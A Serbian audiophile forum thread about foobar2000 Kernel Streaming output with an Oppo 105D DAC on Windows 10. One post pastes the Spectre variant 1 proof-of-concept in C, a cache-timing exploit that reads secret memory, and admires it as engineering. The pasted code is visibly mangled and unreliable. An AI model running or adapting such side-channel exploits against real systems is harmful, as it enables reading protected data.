Jump to content


Foobar2000


arnage

Recommended Posts

@Zexx

Vec nije zabavno. Ako imas bolje resenje, predlazi. Ja ionako ne volem hebavanja sa slabasnim lapatopovima.

A sinoc sam uzivo to jes' preko TeamViewer-a gledao Avast kako skenira datoteku pre nego je pusti plejeru.

Ako i dalje ostajes pri tome da njemu KS ne radi samo zbog W10 - gresis brate. Il da okrivimo Oppo? Mozbit.

Na kraju krajeva ja i ne saznadoh da li je Oppo 103, 105, stariji 95 ili koji su vec modeli.

 

 

Link to comment
Share on other sites

10 minuta ranije, DJ.NIK said:

@Zexx

Vec nije zabavno. Ako imas bolje resenje, predlazi. Ja ionako ne volem hebavanja sa slabasnim lapatopovima.

A sinoc sam uzivo to jes' preko TeamViewer-a gledao Avast kako skenira datoteku pre nego je pusti plejeru.

Ako i dalje ostajes pri tome da njemu KS ne radi samo zbog W10 - gresis brate. Il da okrivimo Oppo? Mozbit.

Na kraju krajeva ja i ne saznadoh da li je Oppo 103, 105, stariji 95 ili koji su vec modeli.

 

 

Nekako me skromno iskustvo naučilo da barem ne tražim problem tamo gde sigurno nije, ako već ne znam gde možda jeste...

Link to comment
Share on other sites

Saznao i da je Oppo 105D EU u pitanju. Idemo dalje. 

@Father Svakako mozemo TeamViewer-om. Mozda i kompletna deinstalacija foobar pa nova uz dodavanje  komponenti jedne po jedne. Recimo KS kao prva. Tu je i APlayer pa cemo lako utvrditi dal' je Oppo ili fubar ili nesto trece. Windows nije. Na mom sasvim prosecnom PC-u je isproban milion audio plejera. Trenutno imam makar 5 njih instaliranih a da koriste Kernel Streaming. Sve sprave koje podrzavaju KS rade bez da sam i pomislio na gresku u W10.

BTW, Ja gajim OB zvucnike pa mozda donosenje Oppo-a na Karaburmu mozbude nteresantno, cakstavise :) 

 

Link to comment
Share on other sites

1 sat ranije, DJ.NIK said:

BTW, Ja gajim OB zvucnike pa mozda donosenje Oppo-a na Karaburmu mozbude nteresantno, cakstavise :) 

Interesantan predlog takođe! Pričao mi je Zoki FTA za tvoj setup i voleo bih to da čujem. Rado ću doći sa Oppo-om.

Link to comment
Share on other sites

Proradio mi KS u foobaru!!!! 

Posto sam opet instalirao oppo driver zbog onog albumplayera da probam, ovoga puta sam resetovao win posle instalacije drivera i tek nakon reboota upalio oppo kada se inicijalizuje driver prvi put posle instalacije. Ranije sam instalirao softver i odmah zatim palio oppo i zatim naizgled uradi istu stvar, ali nece da radi KS. U svakom slucaju proradio je izlaz i zbog podrske dsd failova sam podesio na DSD:KS: USB 2.0 OPPO 105D....

OBICAN KS: USB 2.0 OPPO....  Ne reprodukuje DSD failove. 

Ocigledno me je zezala procedura instalacije OEM Oppo drivera.

Posto je kasno necu moci da uradim valjana poredjenja. Neka se malo usvira koji dan pa cu da izvestim o zvuku.

Albumplayer cu komentarisati u njegovoj temi.

Link to comment
Share on other sites

55 minutes ago, Father said:

I oni po zavsetku instalacije insistiraju da se upali uredjaj odmah, nigde ne preporucuju reboot.

Meni se vise puta desilo da proveren software koji nisam duze koristio, instaliram po potrebi i ne radi... ja se onda setim da moram sve ponovo sa obicnim restartom ili jos bolje, kao sigurica, ugasim racunar i upalim, sto mu dodje na isto ( verovatno ).   Posle ovog software radi kao zmaj   :)

Nekad bilo obavezno za sve a danas i nije ali ne moze da skodi a mozda pomogne, pa sam to uvrstio u takozvane "standardne procedure"

Link to comment
Share on other sites

Oprostie mi na jednostavnosti ali želim da budem apsolutno jasan.

Prekinite da gurate to shit od KS na win10 ili bilo koji drugi posle XP. JA sam pročitao dekompajliran kod i njega i klasa win7 i ZNAM da to NE RADI. Izbrojao sam bar deset missmatch u read/write sa jedne i druge strane. To kreštanje koje se čuje nije hi-fi. Svako kome taj zvuk odgovara može slobodno da proda svoj sistem i uradi dve stvari:

- Kupi tranzistor
- Ode na Kališ da igra šah

... jer za bolje i nije.

Link to comment
Share on other sites

On 15/01/2018 at 12:16, Sloba said:

Jel zna neko od vas eksperata za foobar, da li ima opcija kao recimo u music bee da se samo "stane" kursorom na ikonicu na taskbaru i da izađu mali dugmići za kontrolu? Hvala.

rsz.jpg

Instaliraj Columns UI komponentu i zadrži trenutni dizajn ako ti se sviđa...

Link to comment
Share on other sites

On 15/01/2018 at 14:31, SomiKnight said:

Mislim da instalirate i 20 tih plugin-ova nećete opteretiti komp koliko će to uraditi zakrpa/e za meltdown/spectre.

Tako da opušteno, što manje napetosti i nerviranja i zvuk će biti ugodniji za slušanje.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;

for (i = 0; i < 256; i++)
results = 0;
for (tries = 999; tries > 0; tries--) {

/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));

/* Call the victim! */
victim_function(x);

}

for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}

/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}

int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];

for (i = 0; i < sizeof(array2); i++)
array2 = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}

printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}

____________________________________

Lepota, zar ne? :) Softverski inženjering u izvornom obliku. Lično, osećam veliku čast što sam imao prilike da pročitam kod.

Potrebno je duboko poznavanje kako mašina razmišlja, sprečavanje Stride Prediction, Hysteresis principa... Prosto lepota.

P.S: Kod ne radi copy-paste... ;)

Link to comment
Share on other sites

Na žalost, ne mogu da potvrdim da sam razumeo šta si želeo da kažeš u poslednjem postu i kojih procesa je to kod. Da li lista svih akcija kroz koje prođe podatak kada se uključe svi pluginovi iz citiranog posta ili ...???

Ako može pojašnjenje sa MATRIX jezika na Srpski.

I meni se čini da je KS lošije zvučeći od WASAPI class 2 USB drivera iz poslednjeg update-a koji je komentarisan neku stranu ranije.

Šta sugeriše, zamolio bih za jasniji odgovor. Hvala

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...